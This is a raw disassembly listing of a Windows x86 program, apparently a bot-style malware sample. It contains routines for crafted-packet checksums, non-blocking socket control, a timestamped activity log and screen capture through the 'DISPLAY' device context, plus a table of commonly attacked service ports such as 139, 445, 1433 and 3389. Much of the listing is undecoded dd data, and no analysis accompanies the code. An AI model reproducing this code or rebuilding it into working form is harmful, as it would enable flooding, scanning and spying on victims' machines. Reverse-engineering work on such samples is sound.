		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
		dd 22CBD18h, 0FFFC75FFh, 4D08BC15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 43B67468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 90535959h, 2CBC87E8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi

loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1

loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax

loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 6415FF50h, 50004D08h
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 0B7A068FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 0BB7EE856h, 5590022Ch,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 8A415FFh, 4589004Dh, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0ECE89000h, 2B0227C2h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4D3FD81Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4D07C8h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	432E7068h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	0B868FFFFh
		dd 50004D39h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4D0864h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4D0824h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4D088815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 8BC15FFh, 458B004Dh,	5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	43B7D4h, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 0E8006A14h, 22CB8BCh, 0EC8B5590h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4D08A415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 43B9C4h, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4D0804h, 75FFF883h, 0B815FF0Eh
		dd 50004D07h, 43B97468h, 8D1BEB00h, 0FF500C45h,	4D086415h
		dd 0FFF88300h, 15FF2075h, 4D07B8h, 0B9306850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 2415FF00h,	66004D08h, 8DDE4589h, 90500C45h
		dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 0B90468FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4D3FD83Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4D07C8h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	2E7068ACh
		dd 0E8500043h, 6FB6h, 0EB18C483h, 0AC458D10h, 4D39B868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4D3BB8h, 2415FF45h
		dd 66004D08h, 4D3BBAA3h, 0AC458D00h, 5C76650h, 4D3BBCh
		dd 89660001h, 4D3BBE3Dh, 0C005C600h, 80004D3Bh,	3BC105C6h
		dd 6611004Dh, 3BC23D89h, 15FF004Dh, 4D0864h, 4D3BC4A3h
		dd 0E0458B00h, 4D3BC8A3h, 8C858D00h, 50000000h,	0D23D8966h
		dd 0E8004D3Bh, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4D082415h, 0CEA36600h, 0E8004D3Bh, 6F66h, 401B999h
		dd 8680000h, 0F7000004h, 158966F9h, 4D3BCCh, 82415FFh
		dd 68004Dh, 66000004h, 4D3BD0A3h, 6F3CE800h, 0F7990000h
		dd 0D46852FBh, 0E8004D3Bh, 6BDCh, 8D0CC483h, 106ADC45h
		dd 68565750h, 4D3BB8h, 0FFF475FFh, 4D088815h, 0FFF88300h
		dd 0A5840Fh, 45FF0000h,	0BDF1E8FCh, 2B900227h, 0D233F845h
		dd 3E8B9h, 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 0BC15FFF4h, 8B004D08h, 858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 43B8A068h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4D07B815h, 458D5000h, 1468500Ch,	0EB0043B8h
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4D086415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 0B9F068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0B4BEE856h
		dd 5F90022Ch
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2A
; ---------------------------------------------------------------------------

loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4D07CC
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4D080C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD

loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9

loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax

loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0AEE8EC45h, 90716A0Dh,	6AEC4D8Dh
		dd 26A5104h, 48A35053h,	0FF004D40h, 4D080415h, 0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 2415FF50h
		dd 53004D08h, 26A016Ah,	66858966h, 0FFFFFFFFh, 4D08A415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 8BC15FFh, 5D39004Dh
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 404CBF83h, 3C68004Dh, 57004323h, 6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 1C685750h, 570043BAh, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4D082415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4D3FE8h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4D3FE8h, 685645h, 0C6000004h, 4D3FF105h, 5C60600h
		dd 4D3FE9h, 37E6E808h, 0C4830000h, 15FF5014h, 4D0824h
		dd 0A366286Ah, 4D3FECh,	82415FFh, 0D80004Dh, 4D3FF0h, 0D81D39FFh
		dd 66004D3Fh, 4D3FEAA3h, 1D896600h, 4D3FEEh, 0FE681A75h
		dd 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh,	0CE2310E0h
		dd 0BEBC10Bh, 4D39B868h, 6415FF00h, 0A3004D08h,	4D3FF4h
		dd 6808458Bh, 4000h, 4D3FF8A3h,	91D8800h, 0FF004D40h, 4D082415h
		dd 66535600h, 4D400AA3h, 3762E800h, 0F88B0000h,	0E7C15356h
		dd 3756E808h, 0C4830000h, 57F80310h, 82015FFh, 0A3004Dh
		dd 0A0004D40h, 4D4008h,	24087D8Bh, 6A500C0Fh, 4008A214h
		dd 8B66004Dh, 1D89F045h, 4D4004h, 0E1D8966h, 66004D40h
		dd 4D3FFEA3h, 243D8900h, 88004D40h, 4D40281Dh, 2905C600h
		dd 6004D40h, 82415FFh, 0A366004Dh, 4D402Ah, 3FFEA166h
		dd 0C766004Dh, 4D401005h, 89000200h, 4D40143Dh,	12A36600h
		dd 89004D40h, 5EBFC5Dh,	0FFFFBEh, 0FC5D3900h, 53562F75h
		dd 36CBE8h, 50595900h, 82415FFh, 0A366004Dh, 4D3FFCh, 4D3FF4A1h
		dd 4020A300h, 5C6004Dh,	4D4009h, 41D8902h, 0EB004D40h
		dd 0C653561Fh, 4D400905h, 95E81000h, 59000036h,	15FF5059h
		dd 4D0824h, 0A3C0B70Fh,	4D4004h, 0EC05FF66h, 0FF004D3Fh
		dd 4D400005h, 0FEA16600h, 6A004D3Fh, 0FCBE5905h, 0BF004D3Fh
		dd 4D402Ch, 0F21D8966h,	66004D3Fh, 400C1D89h, 146A004Dh
		dd 0E8BEA5F3h, 66004D3Fh, 4D4012A3h, 25E85600h,	6AFFFF5Ch
		dd 40206820h, 0A366004Dh, 4D3FF2h, 0FF5C13E8h, 10C483FFh
		dd 400CA366h, 106A004Dh, 4D401068h, 286A5300h, 4835FF56h
		dd 0FF004D40h, 4D088815h, 0FC45FF00h, 0FFFC7D81h, 0F000003h
		dd 0FFFF238Ch, 0B745E8FFh, 2B900227h, 0D233F445h, 3E8B9h
		dd 3BF1F700h, 0E770C45h, 901075FFh, 26AF5BE8h, 0FDC2E902h
		dd 5E5FFFFFh, 4D404CB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_4429E0
		mov	edi, 0B8h

loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_443560
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------

loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_4429E0[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_4429F8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_42AE54
		pop	ebx

loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_43BA38
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4429E0

loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43BA24
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch

loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_443560
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 279054Fh
		mov	ebx, offset dword_4D844C
		mov	edi, 80h
		mov	esi, offset dword_4D444C

loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4D444C
		xor	ecx, ecx

loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D844C
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_43BA84
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_43BA70
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_43BAB4
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax

loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4D444C

loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352

loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D844C
		jl	short loc_415309

loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_43BA98
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
; ---------------------------------------------------------------------------
		dd 2CAC47E8h, 5E5F9002h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4D0810
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4D082C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4D082C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4D082C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4D082C
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------

loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx

loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4D0870
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4D0868
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4D06F4
